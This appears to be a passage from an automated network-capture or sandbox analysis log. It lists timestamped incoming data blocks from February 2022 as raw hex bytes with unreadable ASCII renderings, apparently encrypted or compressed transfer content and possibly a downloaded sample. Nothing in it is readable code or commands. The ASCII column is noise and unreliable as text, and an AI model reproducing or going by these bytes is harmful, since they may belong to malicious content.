2022-02-08 23:07:12 UTC 907 IN Data Raw: 83 aa c6 f1 7b 64 ed 0c ba a7 5d e9 31 07 57 62 7f d1 6c a3 be 12 e7 eb bc 52 c5 37 37 50 fe f1 bc f8 f4 6a 37 
b0 33 6b fb cd b4 a0 30 8d 97 23 18 5c bc fb 50 60 80 ff 93 aa 43 3c 50 81 b8 6e 6c bd 48 6d e7 fd 4f 86 e7 f2 cc 16 6c b2 
e3 f5 50 74 90 34 91 b7 1b 7c 8b cd d8 af 48 0e f3 5f 37 32 cf d4 7d b2 1c 5f 3b b1 ab 91 7b 39 70 5a 7f b9 97 99 ac 7a 54 
b1 7c 3a dc 6a bb b1 92 ea 58 b5 12 0d 99 76 d1 ce 12 3c 51 1d 99 74 d1 ce d9 d4 1a 0d 52 9e da 86 12 99 39 1e 12 96 
0a 22 d0 1d 42 60 cb de 81 a3 40 98 82 14 80 ab be d7 0b e3 fc fc c8 20 3f 77 8e 23 88 b7 bd 1f 4b 3c f5 5d 68 ff 36 9e 
e3 b9 35 29 23 8a 09 ea a8 c2 4b d1 6b 01 88 5a 2d 02 3f 9a 1e 3e fc 11 50 bc 17 93 2b 79 d4 50 e8 f2 9a 86 1b 9b 58 45 
90 61 cb 76 27 a9 40 3e f4 22 06 2f 43 e2 35 13 82 
Data Ascii: {d]1WblR77Pj73k0#\P`C<PnlHmOlPt4|H_72}_;{9pZzT|:jXv<QtR9"B`@ ?w#K<]h65)#KkZ-?>P+yPXEav'@
>"/C5

2022-02-08 23:07:12 UTC 909 IN Data Raw: 49 22 b8 b0 4c bd 84 8c 64 14 0f ca 75 a2 cb e1 cc 3d f7 dd e4 a2 7c 9d dd 81 c8 1d 56 c9 06 85 79 0b c5 fe 
bb c8 06 3d 30 8e 1e b6 fc 09 05 39 b4 0d f5 28 3b 45 fd 14 ed 1f b9 d7 2e 94 f1 e4 a5 d2 f2 52 09 28 34 ea 38 ea f7 5d 
ab 61 bf 55 80 3b ff 69 bc 7d fc de 54 f6 bc e6 77 43 c2 6d 3f 4b e9 29 7f 77 d5 02 5a 36 e9 3e 5e f5 26 fd 9d 36 d6 fe 16 
7e 49 19 e5 f5 01 ae 02 0e 8a ee 05 ed 16 ee 2e e7 57 d2 12 6c 1f c9 2e ba 18 8c ed 79 50 87 c6 63 11 bb fa 29 d1 93 ec 
02 a2 d2 d0 3e 29 9a cb 02 ff f2 8e c1 3c ba 85 ea 3f fb b9 d6 75 3b 32 9e 70 13 4a 91 fb 59 d5 76 30 d2 9f c1 d7 01 0b 
4a 97 2e e8 ba ab a5 a0 a3 20 ed 92 28 66 fc 25 f6 96 ed ae b8 12 ce 25 8c 22 44 dd 8f 92 88 f6 25 d3 b4 ca 21 10 7b 09 
e2 d3 8b 0a ca 2d 01 c6 a6 36 8a 80 ac 81 41 ab c6 bc 
Data Ascii: I"Ldu=|Vy=09(;E.R(48]aU;i}TwCm?K)wZ6>^&6~I.Wl.yPc)>)<?u;2pJYv0J. (f%%"D%!{-6A

2022-02-08 23:07:12 UTC 911 IN Data Raw: 81 57 f6 e0 44 1a 34 23 cf ea 32 a8 85 6c f1 2f cd da 5a df f1 5c 12 e5 7f 14 31 62 37 3d b7 24 02 8b 73 af 4a 
49 f4 e7 f9 8e c0 79 4a 0c 88 74 00 b3 6f 9f d8 a2 e4 d5 67 45 07 95 46 8e 3b 94 7a 58 48 29 b9 9b c3 89 8a dd c0 3f 4e 
2d c3 15 40 ee 00 d6 fd 47 8b ad ce 7b b7 91 f2 47 8b 2d 79 bf b8 99 e1 34 f6 56 57 e7 35 95 94 6c 77 af 57 ab b4 6c e3 
59 3f 22 61 95 b4 da 63 21 7d 51 18 12 41 6d 24 2e 7d 51 e8 a5 3d 72 db 8e c2 dc e7 b2 49 34 c4 39 07 ab 23 ca 8c ed 
3b 7d e1 e9 fb 72 ee 2a 38 5a 3e 01 d9 cd 02 3d 52 85 19 b6 14 86 ae 7a 10 45 b0 64 d3 86 3b 24 d3 55 13 e4 58 1d 0f 
6f 1e 05 b8 29 91 4d bd d9 80 c6 f5 d1 0e 06 f6 fa 6b 93 ca c6 ed db c6 48 a5 dc bf 8a 66 1f 7c 08 2e 12 36 bf c9 f9 bd f5 
56 1e 5e c9 80 dc e3 0a 43 9a e0 bd 95 15 a8 33 36 92 e0 
Data Ascii: WD4#2l/Z\1b7=$sJIyJtogEF;zXH)?N-@G{G-y4VW5lwWlY?"ac!}QAm$.}Q=rI49#;}r*8Z>=RzEd;$UXo)MkHf
|.6V^C36

2022-02-08 23:07:12 UTC 913 IN Data Raw: 71 5a b7 42 b2 10 6c 69 1f aa 50 55 57 aa 7a 1b 94 69 b9 5b 5c 55 49 58 d7 13 43 94 81 10 05 97 36 0a 4d d8 
d1 41 8e 1b 12 07 84 ac c2 85 b0 ae 7e b8 8c 92 05 7b 4f 51 c6 b7 18 52 80 b4 af 2a ca 3b 48 d9 4d 71 c7 3e a6 f6 8d a9 
41 15 0a e1 48 9e 42 f1 c3 d0 cd 16 40 fb 5e d5 83 38 16 ee c9 bf f1 69 89 00 16 ea 4a b7 f9 ac 49 00 1b 27 e9 c8 90 6f 
eb 43 92 54 2d c8 dc 82 60 e1 1e 41 20 c3 c2 ca 88 c9 59 41 c0 0e 58 02 67 c5 93 3f 2f 0d b8 cb 12 31 84 8d 2e 86 44 cd 
e6 ba 0c c9 6d f2 93 2e ce 79 d3 29 5d e5 d3 26 52 ea 58 6e 55 61 12 f5 9e ea 58 46 4d 7e d3 06 62 ed 58 46 c1 c6 9b cd 
89 ff 10 85 bb 74 5e 16 90 fe 16 1d 12 b6 0c 36 27 2c 30 0a 61 2f 86 cc 21 24 ba e4 a0 6c fd 03 f3 af 3e c0 7c e7 b9 27 ff 
60 f1 2f b5 e7 16 dc fd a0 f1 97 3e 63 32 1c 76 77 78 
Data Ascii: qZBliPUWzi[\UIXC6MA~{OQR*;HMq>AHB@^8iJI'oCT-`A YAXg?/1.Dm.y)]&RXnUaXFM~bXFt^6',0a/!$l>|'
`/>c2vwx

2022-02-08 23:07:12 UTC 915 IN Data Raw: 15 bc 61 6b 29 80 ea 2b 2e 63 72 2b 21 6c f9 6d 2b db 5c fd a0 9b 73 1e 2b d3 69 95 63 19 e2 6d ad b3 ae af 
6e 04 68 84 cf 83 54 b8 44 cb dc 73 cf 33 12 ef 83 f1 d1 58 45 da 42 df 79 e6 c9 97 f1 35 42 6f 3f a3 0e ad fc 14 c8 86 01 
93 f4 ba 8a db 7c 21 01 23 b2 69 4d e1 71 de 8b ca 9e 59 b7 f6 15 11 3f 55 9e e9 f1 17 d2 2b 32 a0 14 00 eb 27 28 3c 60 
67 2f df f8 67 a4 99 f2 ab e3 aa 32 68 20 3a b9 28 0f d9 32 60 15 52 7a ea de 79 43 6a e2 45 c8 22 6a 96 e3 10 ea aa df 
9b a2 22 04 b0 89 a2 38 8c 02 ea b0 6f 29 f6 30 53 15 7d 78 db fe 56 6d 5b c2 6a e6 13 4a 99 cd 1d ca a5 f1 96 82 6d da 
90 02 51 e6 1b 4a d9 65 30 35 59 59 0c be 11 d1 87 95 61 51 bb a9 ea 19 33 3a c1 70 b3 06 fd fb fb 8e 66 d0 99 0e 5a ec 
12 46 d2 4f 39 1d 52 73 05 96 1a fb ae bd 56 7b 92 81 
Data Ascii: ak)+.cr+!lm+\s+icmnhTDs3XEBy5Bo?|!#iMqY?U+2'(<`g/g2h :(2`RzyCjE"j"8o)0S}xVm[jJmQJe05YYaQ
3:pfZFO9RsV{

2022-02-08 23:07:12 UTC 917 IN Data Raw: fc b4 5b 16 3f 77 13 12 75 e1 1f 58 f3 e5 9d 1e c0 52 46 57 06 bc 49 95 c5 89 5a 74 43 3d 31 37 0d bc 73 fb 
8a af 3b ff c0 39 37 7c f5 3c b4 cb 21 be 78 b2 0f 6d 03 71 cc ae c4 31 c6 69 8e bf c6 23 08 bb 41 69 a6 c7 8d 10 83 08 
3d d5 01 c0 2e 9f 97 cc e2 e6 b2 02 52 22 7e 7b 79 f8 34 fd 7d 7b 01 f8 9e cc c4 34 e7 e7 1c 1c 2e 64 29 19 fd d3 ed d5 
84 f8 32 9f 02 fc 19 db 2b c0 25 91 eb 80 1e ad 5d 62 35 39 fc 5e 09 73 07 1e c1 4f 2c 60 60 73 10 64 a3 a8 d3 a7 60 83 
a2 06 5c bf ea c5 76 ff d7 f9 4a 74 9f 7f c6 f3 d7 f9 c6 78 9f 77 5a 7c 5c b5 99 bf 9f fd 1f bb 10 b3 91 97 5a 34 76 64 12 b2 
7a e6 5a a4 30 61 bd 4f b7 2b 0a a8 54 00 57 97 68 3c dc dd ee 18 57 9d d5 24 9b db 9b e7 58 18 e1 24 9b db e2 a6 d3 
dd 02 a4 2b df b4 23 50 1d 77 e0 93 9e 30 d3 24 67 78 
Data Ascii: [?wuXRFWIZtC=17s;97|<!xmq1i#Ai=.R"~{y4}{4.d)2+%]b59^sO,``sd`\vJtxwZ|\Z4vdzZ0aO+TWh<W$X$+
#Pw0$gx

2022-02-08 23:07:12 UTC 919 IN Data Raw: 81 f9 86 65 83 5c 4a c8 80 da ba c2 b1 16 09 c9 72 b3 c5 7a 68 70 4f 32 6b 96 73 fe a8 55 f8 00 9b 99 3b c3 2f 
71 0b 41 e3 dd c0 e4 2f 71 c1 41 e3 5d c0 e4 2f f1 d3 41 e3 47 c1 e4 2f f1 c9 41 e3 d9 db e4 2f cd da a2 2c 7b 01 28 6c 
78 d2 00 6a dd 50 fa b9 6a b0 5f 3f 90 7b e8 e5 1a 3b eb 24 32 4b 27 5b 39 c4 e7 59 9c 46 1d 8a 12 8a 9a 81 98 c2 98 a9 
5c 32 9b 81 9c b8 d3 82 17 f8 d4 59 17 73 9c 5e 9c 39 07 95 17 73 ac 46 9c 39 1f 9d 17 73 a4 7e 95 e5 26 eb 17 71 ad 
ab 38 92 26 e3 11 62 1a 13 00 e5 54 97 c2 ad 66 bc a8 d3 5a 80 27 9b 61 0b 67 a0 5d bc f4 27 13 38 35 d7 02 70 38 fc 
52 0e 04 c0 d9 4e 3f fc 6e b0 b4 b4 70 3b 5c af fb 7d 44 63 b6 7f 87 a0 75 43 51 f7 eb 80 92 75 95 43 41 b6 56 0d d5 7d 
dd 45 de fb 95 43 e2 2d 09 df 21 ee 82 97 0a 65 c4 94 bc 97 
Data Ascii: e\JrzhpO2ksU;/qA/qA]/AG/A/,{(lxjPj_?{;$2K'[9YF\2Ys^9sF9s~&q8&bTfZ'ag]'85p8RN?np;\}DcuCQuCAV}EC-!e

2022-02-08 23:07:12 UTC 923 IN Data Raw: 61 03 45 6c a6 c2 b5 6e dc 05 76 ad 1f 8e de a7 d9 05 96 30 3e f6 dc f7 f7 8d 1b 34 34 4e 90 9c 37 8f ea 5b f4 
4c 29 d0 5c 46 ef 5b 14 d1 08 a8 9b 99 8f 4f 68 1b c7 80 a3 53 00 41 53 51 7a 86 90 92 b9 0d 38 98 7c 86 70 0f 9b 75 3a 
c8 52 0e fd 0b 91 cd 76 a3 92 0d 0c 64 51 ce cf ef f9 c4 0a 64 b1 53 ed 97 3e 1b 6a 70 cd 99 22 bf 06 d1 e5 7e f6 d3 9f b9 
35 10 5c 32 9d 1a 98 b9 d5 8d 7f 4a 9f 4a b6 02 18 ad 55 3e 1b e7 d2 d9 f8 a7 6d 3e 1b 6e db ff 33 be 50 b7 b4 59 a3 3c 
f4 5a 70 b7 be dd 97 44 94 c5 aa 78 a8 ef 70 bc 6b 2c 30 03 8c 97 eb cf ca e2 2a 0c 09 e6 ad eb ee 11 6e 28 2d 6a ac eb 
ee a9 27 43 ed 6a ac 0b 62 8d 1f c7 17 0a dd 14 f1 36 1e d7 32 34 3d 0c 48 f6 fe cf 8b 7d 56 c5 49 f6 1e 52 ae 45 d2 27 
21 8c 01 65 03 b0 c2 a6 c0 b2 e0 75 08 b0 9a b7 cb 
Data Ascii: aElnv0>44N7[L)\F[OhSASQz8|pu:RvdQdS>jp"~5\2JJU>m>n3PY<ZpDxpk,0*n(-j'Cjb624=H}VIRE'!eu

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 925 IN Data Raw: 01 04 31 59 e6 f7 ba 19 e5 30 31 53 62 d7 c2 d8 2a 50 25 23 a1 10 26 e4 2a 5a a1 03 d1 d1 e9 84 36 22 62 cc 
b9 c5 99 84 73 8f 52 0f 3b 08 b5 fc b0 48 b6 3b 3b 02 31 dc c8 89 79 5b 2f 72 f2 1b 2c b5 79 51 ab 52 82 da e3 d5 65 29 
68 9d ea ce 93 d5 20 84 58 5e 68 03 bf ad e3 43 bc 6a 68 09 3b 8d 9b 82 73 0a 7c 79 f8 4a 7f be 73 00 f8 59 88 8b b0 de 
6f 78 3b 96 e0 9f c0 de 2a d5 0b 55 62 52 ec a6 e9 12 c7 69 62 58 40 8e 91 d3 08 09 76 28 83 49 5d e7 08 03 da 00 f3 07 
5d e7 10 c5 9e 24 d3 ed 57 6c 54 0a b4 50 57 40 33 b7 b4 cb 7b f0 53 80 b8 33 90 c8 fb 10 52 0b 38 ea d5 ec db 26 9b 2a 
1a e5 58 a1 52 62 bf 5a d9 22 94 89 52 68 13 6e a9 e3 5b e9 4e 10 d0 a9 4d c3 5b e3 ca 24 a8 98 0d e7 6b 5b 86 4f 68 
98 0d 07 e7 7f f6 4f 20 bd bc c8 c7 56 f4 4f 20 bd f6 64 fb 
Data Ascii: 1Y01Sb*P%#&*Z6"bsR;H;;1y[/r,yQRe)h X^hCjh;s|yJsYox;*UbRibX@v(I]]$WlTPW@3{S3R8&*XRbZ"Rhn[
NM[$k[OhO VO d

2022-02-08 23:07:12 UTC 927 IN Data Raw: 42 9c de 34 0a 5b 9c c4 0b 13 13 23 d0 11 39 e8 1c 64 33 63 52 b2 24 63 91 71 d4 a4 d8 39 5b 43 07 3b 71 
80 cb 4e 7b 0b 85 98 78 0f 46 5b 88 c8 0f 21 4f 0b cc e2 c4 a3 c6 21 4f eb 51 c6 ac 1b 96 0f e6 dc 71 47 61 3b a6 45 4a 
e0 6a 30 49 6b 24 fe 12 07 e7 3d 5a 90 00 e6 58 b9 d3 2a 2d a8 5c 64 eb ec 20 a7 28 6e 68 70 7b 26 af 32 8b 27 e7 bd 
6c f8 e5 97 a7 34 90 9d 2c 7a 46 33 2c b9 85 c3 eb f0 cd 4c 0c 23 cf 66 cf ef ba 6c 44 a1 6c f6 40 62 af 06 87 2b d5 c1 44 
e8 16 4a ec e2 d4 c1 a4 75 33 22 54 b2 fa 68 d3 55 3d 20 54 b2 e6 22 7f 69 2a 57 7c e2 64 99 8f 8e a7 5a c7 19 40 85 c5 
30 93 49 b0 21 1c 07 76 fd 60 c4 b5 7f 28 13 e6 37 ef 51 16 36 a7 de f1 e5 a5 f4 3a 29 d0 fe b1 67 06 38 b1 a4 c5 c8 76 
ed 8d 47 91 3a 8f 6d 52 f6 fa 67 d9 b8 2c 55 dc 7b ef a5 1b 
Data Ascii: B4[#9d3cR$cq9[C;qN{xF[!O!OQqGa;EJj0Ik$=ZX*-\d (nhp{&2'l4,zF3,L#flDl@b+DJu3"ThU= T"i*W|dZ
@0I!v`(7Q6:)g8vG:mRg,U{

2022-02-08 23:07:12 UTC 929 IN Data Raw: a7 ec 4f da a4 67 01 14 85 0b c2 d7 cd dc 25 d5 e4 0f e9 a0 f5 80 a7 66 e4 90 64 a5 66 d8 b3 f6 2e 1f f1 06 2f 
57 7e e1 e0 55 54 2a 2c 20 5e a1 62 f6 25 b5 a1 35 d5 72 e8 7d 5a 95 23 7f 70 56 ef 0a 7a dd a1 dc 1d c5 62 1f ed 02 2b 
65 2a c1 e8 a6 a1 69 e2 60 2a 21 75 87 c9 d1 b2 4e 83 56 55 99 cb d1 b2 52 c9 fa 69 9e bc f9 e2 d0 72 41 8e 13 b1 09 
19 f4 76 0b 30 27 ba 7e 21 a8 f4 b8 88 b8 37 7b 0a f0 e0 28 42 37 a2 d8 43 7f 6d 3f 41 55 a6 f3 34 5f 2d bd e2 cd 39 7e 
21 3d fe 37 69 b2 19 f8 6b 98 da 34 1e 92 51 7a c8 6c 49 b9 0b 9c 8e f0 71 5b 4d 33 b2 d0 e5 39 77 5b ad ae 90 b8 5d 69 
59 f2 da 8e 82 ba 5d 69 4d b8 76 b2 81 cd 75 39 cf 03 a2 55 0c c0 ea c2 eb 0b e8 eb 38 c7 9d fa b7 89 5b 3a a7 4a 98 b8 
ef 9d cb f0 28 df 3b f1 60 50 dc 36 62 7a 17 fa 17 70 9c 
Data Ascii: Og%fdf./W~UT*, ^b%5r}Z#pVzb+e*i`*!uNVURirAv0'~!7{(B7Cm?AU4_-9~!=7ik4QzlIq[M39w[]iY]iMvu9
U8[:J(;`P6bzp

2022-02-08 23:07:12 UTC 931 IN Data Raw: 07 98 a3 93 80 7f 20 18 c8 6c 0b 34 ff 50 37 bf 5f 17 d0 58 8d d4 13 d3 25 d7 94 58 6b 19 ab 7c a8 da 20 32 2f 
18 d7 48 fc db 14 8b 77 73 1e 48 fc 3d 51 87 c7 ee 92 44 45 95 41 87 86 56 ca cf 95 7d 41 c0 a9 41 07 c3 1f b9 8c 63 58 
5e 6b b1 9b 9d e0 19 98 1a 6b 57 56 18 4f 94 95 93 01 13 57 74 7b c0 94 b7 b8 4b 3c bd 7a c0 72 f2 b5 fb a1 31 76 79 da 
e2 b5 ba 19 69 fd a9 32 a7 f2 95 0e e1 f1 22 c7 9a 37 e1 04 59 1d 76 c6 9a de 72 81 7d 35 a0 42 be f6 63 81 7d de b0 c9 
3a 39 5b 1b f9 fa 67 18 b3 bd 80 f3 61 7e 43 b3 1e 99 a8 61 dd 5a 7b df 01 21 a8 1c c2 e2 23 b4 c1 21 a8 fa 86 e6 93 29 
45 25 18 89 0a c2 f3 5b c9 01 f6 9c 02 c2 de 98 06 85 39 73 d4 46 fa b0 17 85 39 98 c4 cd 7e 7f 2f 1f bd bc 13 1c f7 fb f4 
f7 25 38 37 b5 5a df dc 67 99 1c f7 a7 5a df 49 55 
Data Ascii:  l4P7_X%Xk| 2/HwsH=QDEAV}AAcX^kkWVOWt{K<zr1vyi2"7Yvr}5Bc}:9[ga~CaZ{!#!)E%[9sF9~/%87ZgZIU

2022-02-08 23:07:12 UTC 933 IN Data Raw: 54 bb cc 61 61 39 84 66 ea 7f b1 d0 22 f5 f9 e7 0a 6e 72 a9 bf a5 4e aa 30 5f ab 1c 06 63 a8 65 cd a0 6b a6 
46 00 60 8d 6f 98 5c b1 e4 d0 47 3a ac e3 cc 7c af 55 07 32 24 9f 2c c2 f2 a3 10 48 ba 66 9b 0e b9 d1 43 81 51 e1 c8 c9 
5a ca 23 01 99 09 a8 4b 59 82 e8 4b 92 08 a0 8c 4f 83 e6 8f f9 a8 69 c5 19 23 21 5a fe 90 a6 12 49 77 1d 99 03 81 6e c9 
c1 42 e5 8f f4 8e a3 c4 37 4d 60 42 71 78 d7 b9 fe 82 31 d9 ae 40 f2 6e 42 6b 69 a6 81 a8 2f a5 36 01 04 d1 df 3d 38 d5 
1c e8 fb 16 df a8 f0 2a 54 e0 af cd 17 23 6c 0e 9c 63 6b fd 1e ff e9 60 9c 61 6b ff 00 fc f5 ff 86 ba db 48 41 4a d8 60 5d 30 
13 a3 9e f3 38 a7 06 cf 04 2c 4c 09 97 7c 8e ca 1c 3a 8d 7d 19 b5 c7 9e 96 4f 21 14 c6 8d e2 a2 1c f7 29 61 df 34 02 07 
47 08 3e 8c 0d ce cb dc cf 0d 40 9a cc ba 27 15 86 
Data Ascii: Taa9f"nrN0_cekF`o\G:|U2$,HfCQZ#KYKOi#!ZIwnB7M`Bqx1@nBki/6=8*T#lck`akHAJ`]08,L|:}O!)a4G>@'

2022-02-08 23:07:12 UTC 935 IN Data Raw: 0d 00 af 1e 9e 17 20 54 1d 0c ab 1a 9e c7 20 50 19 20 db df 53 af 3c 5c dc e1 b3 bb 3f 11 a2 3c 71 90 6b 46 
3a 40 c5 c5 06 96 46 21 c5 55 6e e2 09 20 e9 05 aa ab a9 02 31 ab 22 40 1e 50 e5 83 dd db ad 45 d8 2d 6f 86 53 dd 68 
0d 19 9a 8f ee de 59 4c 69 96 8f 83 e2 54 4c 08 a2 5f 70 87 ea 5e ff cf f0 d9 07 dc 3c 9e 53 1f ff 5d 10 e6 3c ea a9 6d 00 
e9 ea 92 c1 2a 5c a6 4a 6a 5f 48 c1 94 9c 8f 02 57 28 29 8d 19 a7 ce 6e e9 ad 45 20 2f 2f 5f e3 ec 66 98 21 67 5a 9a 6a 
e0 95 46 2d e3 23 6e a6 ad ac 89 45 26 90 83 ce 1a 92 c0 34 d9 24 fb c4 c8 a6 b2 03 1b ed 75 d1 90 d1 74 96 93 67 45 
1d dd e8 a2 fe 56 d4 a8 75 6a d6 eb 8f a9 60 d0 00 e7 a6 0f 1a 24 65 ff 0b a6 2c 38 d8 ed eb ea 53 d1 ea ad 50 67 db 85 
94 e8 95 4b 5c f6 56 88 de 8d 97 4b 1d 4e 15 03 0c c4 5d 0b 
Data Ascii:  T P S<\?<qkF:@F!Un 1"@PE-oShYLiTL_p^<S]<m*\Jj_HW()nE //_f!gZjF-#nE&4$utgEVuj`$e,8SPgK\VKN]

2022-02-08 23:07:12 UTC 937 IN Data Raw: 62 ff 16 97 5c b7 16 1c 14 28 f1 bf 9f 60 5e 58 34 eb 16 ef d3 58 9d a7 6c bf 26 2c 2c b8 b5 ae b1 b8 3e e6 b6 
33 74 7d 7d b8 3e d6 ae 33 74 65 75 b8 3e de 96 3a ab 55 d6 15 58 de 9e cb b7 99 5c 08 31 69 69 8a 79 54 e2 cc 61 e2 
01 8c 6a de 2b f2 a9 1d e8 57 e9 26 16 e0 28 1a 12 6b 60 12 39 4d 28 2e 05 c6 66 f1 85 4d 26 f1 44 81 52 31 e1 c7 51 87 
c2 89 d5 45 bb 42 16 86 78 c9 b6 8d 53 9b 3e b1 6f 10 76 8a e4 5a b0 d6 a4 98 73 5d e2 9b c4 27 69 d3 1a 37 29 11 d9 
92 ae eb 29 25 3e 60 61 2d 15 02 29 11 29 a7 69 e9 d7 e9 da 2b 60 04 51 8b 4d 7d 90 48 8e be 1b 00 80 95 8c 88 bc a9 
07 c2 78 22 41 c1 cf 82 ce 89 cf 09 86 9f 44 41 8d b4 81 09 b1 88 c7 0a 07 22 4c 4a 03 e9 c7 ea 06 62 89 35 86 c7 0e cf 
76 71 79 44 3e af c0 04 fc 6c 4b 4c f4 47 1a 7c c9 7b 95 36 3f 
Data Ascii: b\(`^X4Xl&,,>3t}}>3teu>:UX\1iiyTaj+W&(k`9M(.fM&DR1QEBxS>ovZs]'i7))%>`a-))i+`QM}Hx"ADA"LJb5vqyD>lKL
G|{6?

2022-02-08 23:07:12 UTC 939 IN Data Raw: b5 7e 20 d8 fd ac ab 92 7a 4b 40 19 34 dd 24 9f c4 d7 a2 6f c7 5c e8 d0 20 bf 6a ec b1 64 2d ef 06 fa c5 59 aa 
78 3d ac 1b ee bf e4 15 69 45 4a 89 dc 96 02 8b 5e 6e f5 8e ef a5 77 4e e1 5d f9 d2 50 6e b1 44 34 20 33 78 bf 68 bd 24 
3d 20 3a 21 fa ab 70 9e 1d 58 ff d0 93 fc 19 ec af c0 da 62 e7 c7 51 28 58 20 ba aa 12 e4 31 e2 d0 6f 7b 5d 37 8c 47 0e 
14 4f 84 cd 53 4c 06 01 d5 72 3a d7 e7 a4 f9 14 69 ec fc e4 78 67 b4 ef 44 b1 ac 39 87 72 27 71 09 26 ac 39 cb 1a 7f b2 
83 94 23 39 cb 46 1f 68 88 85 dc ab 03 cd 52 d7 88 85 80 eb 19 36 0b a3 97 5a 80 eb 45 66 11 70 0d 62 9a 32 0a 19 59 
f1 c9 9b c5 73 54 19 5b f1 cb 85 c6 69 55 85 c9 66 5a 0e 81 61 d1 44 1a aa 5a 0e b1 79 d1 44 02 a2 45 cf 42 8d e6 44 0a 
a7 6d 0c 3b 2c 23 87 20 a6 6b 95 aa ee 50 be 0a 37 6c 82 
Data Ascii: ~ zK@4$o\ jd-Yx=iEJ^nwN]PnD4 3xh$= :!pXbQ(X 1o{]7GOSLr:ixgD9r'q&9#9FhR6ZEfpb2YsT[iUfZaDZ
yDEBDm;,# kP7l

2022-02-08 23:07:12 UTC 941 IN Data Raw: 7e 08 33 77 2d 83 73 70 ce 1d 73 7f 4d 8b f8 3f 62 68 73 77 4b e3 3b f9 c0 68 7b fe 23 f6 51 0e ad ca 6d 01 2e 
5c e6 41 01 af 6d 09 28 24 25 87 8b af 65 80 78 31 4f 58 f6 0d 73 57 75 9b f8 17 5a 78 73 5f 73 f3 3b d1 80 78 7b d6 63 
e6 51 16 ed da 6d 19 6e 4c e6 59 41 af 6d 11 68 24 2d af eb e7 9b 63 ab 19 c3 bd 69 da ff 0a ac f1 bc ea 90 cd ef 61 d0 
ca 0c ff d0 c5 8f 69 5b 85 a0 8a d0 cd 89 01 9a 43 0a 8a d2 81 42 59 98 17 b1 d2 d2 99 4a 98 44 72 0a 26 ff b0 bc f6 70 
f8 fa b5 b3 3b 39 45 a2 b0 71 cb 11 9b c6 0f 2d a7 95 84 65 31 6e cc eb da 45 3c 5c e6 79 6f d7 a6 7e 8c 49 a6 71 0f df 
2d 31 20 3c a6 79 09 46 68 ba ca 85 e3 fa cd 66 7d d0 8d 96 41 ec 82 15 d7 67 c2 3a 34 ec 8a 13 4e 23 49 d0 8d a8 09 
d7 6e 36 23 7e 9e 0a 1f 71 1d 9c 94 31 32 7f 1f 79 1b f4 
Data Ascii: ~3w-spsM?bhswK;h{#Qm.\Am($%ex1OXsWuZxs_s;x{cQmnLYAmh$-ciai[CBYJDr&p;9Eq-e1nE<\yo~Iq-1 <y
Fhf}Ag:4N#In6#~q12y

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 943 IN Data Raw: 61 13 c2 54 61 13 54 e2 62 13 54 e2 62 13 28 54 61 13 28 54 61 13 40 e2 62 13 40 e2 62 13 14 54 61 13 14 
54 61 13 52 e2 62 13 52 e2 62 13 6a 54 61 13 6a 54 61 13 4e e2 62 13 4e e2 62 13 5c 54 61 13 5c 54 61 13 5e e2 62 13 
5e e2 62 13 f0 48 61 13 f0 48 61 13 5e e7 62 13 5e e7 62 13 fe 4d 61 13 fe 4d 61 13 7c fe 62 13 7c fe 62 13 ee 4d 61 13 
ee 4d 61 13 4c fe 62 13 4c fe 62 13 f4 4d 61 13 f4 4d 61 13 3e fe 62 13 3e fe 62 13 e2 4d 61 13 e2 4d 61 13 10 fe 62 13 
10 fe 62 13 12 4a 61 13 12 4a 61 13 0a fe 62 13 0a fe 62 13 26 4a 61 13 26 4a 61 13 6e fe 62 13 6e fe 62 13 0e 4a 61 13 
0e 4a 61 13 76 fe 62 13 76 fe 62 13 d6 4a 61 13 d6 4a 61 13 6e fe 62 13 6e fe 62 13 a2 4a 61 13 a2 4a 61 13 44 fe 62 13 
44 fe 62 13 be 4a 61 13 be 4a 61 13 a8 ff 62 13 a8 ff 62 13 9c 
Data Ascii: aTaTbTb(Ta(Ta@b@bTaTaRbRbjTajTaNbNb\Ta\Ta^b^bHaHa^b^bMaMa|b|bMaMaLbLbMaMa>b>bM
aMabbJaJabb&Ja&JanbnbJaJavbvbJaJanbnbJaJaDbDbJaJabb

2022-02-08 23:07:13 UTC 945 IN Data Raw: 9d 1c 1e a6 82 e6 52 e3 2a d7 25 7d df cc 34 2b 36 4b d6 9b 24 97 76 1b 3e b9 bb 4f 03 df 51 8e 2f 28 f2 d8 
9d 3b 4f 86 c8 8c 29 f3 2f 80 f3 a5 55 8c 34 cd 3e bb 50 a9 ce 27 a8 33 67 5a 97 05 dd 00 dd 7f 46 e7 23 96 fc 4e 9c dc 
51 e8 f3 f4 37 59 29 95 53 ad ca 18 53 9a 6f 3e d7 58 29 b3 ba 73 3d f1 79 ff a1 6c 76 cf a2 ac 2f a0 d4 46 76 68 5e 83 97 
a2 0d 47 60 eb ab 0d 09 6e ea 8f bd 9d 8a d5 14 ac 48 fa 86 df 1d fe 34 bf 67 2c 9c 21 d3 e8 06 ce 09 20 c2 0f 18 54 28 
9e b7 e3 cd 51 26 1b 10 ab af 50 13 f7 1d dd a1 dd a3 f3 66 10 00 be fc 4a 2f 38 e5 67 9b d6 ee 7e 5b 68 58 38 97 ce de 
09 e2 39 f6 55 af 41 fe 13 6f d8 2e 08 35 40 ee 55 d6 14 00 84 86 79 c5 ef 83 ea 00 5e 8c bd dd 9f e0 fa 97 d1 8e 9a 00 
07 d1 eb 03 eb 13 39 42 60 4c 03 bd b1 53 de 39 34 a6 
Data Ascii: R*%}4+6K$v>OQ/(;O)/U4>P'3gZF#NQ7Y)SSo>X)s=ylv/Fvh^G`nH4g,! T(Q&PfJ/8g~[hX89UAo.5@Uy^9B`L
S94

2022-02-08 23:07:13 UTC 947 IN Data Raw: ef c6 09 61 17 9e 17 81 63 07 94 5a 67 39 c3 21 37 ea f6 c1 14 db d7 50 42 3e 42 66 1f 8f af 14 77 a1 d5 4a 
a3 47 fc 70 72 36 d8 a8 f0 8b 3d 82 5c af 15 68 45 db a0 50 da e2 e2 ff 13 0e 17 33 37 37 9a 39 d9 41 9f cd 77 85 72 db 
8c f6 29 95 e5 fb 19 d5 f2 0c 6e 51 9e d7 f2 78 d4 49 e6 b8 59 d9 7b 7f 69 ec 4e 90 2d 46 f7 00 ae c2 36 4a 96 7a a9 f2 
94 ad ab 72 f3 b4 7b 40 8c 37 07 b5 9e 1f c3 40 89 1a ee 88 46 46 3c 41 99 63 23 37 f1 08 b8 7a 61 45 d3 95 e1 45 1b 7e 
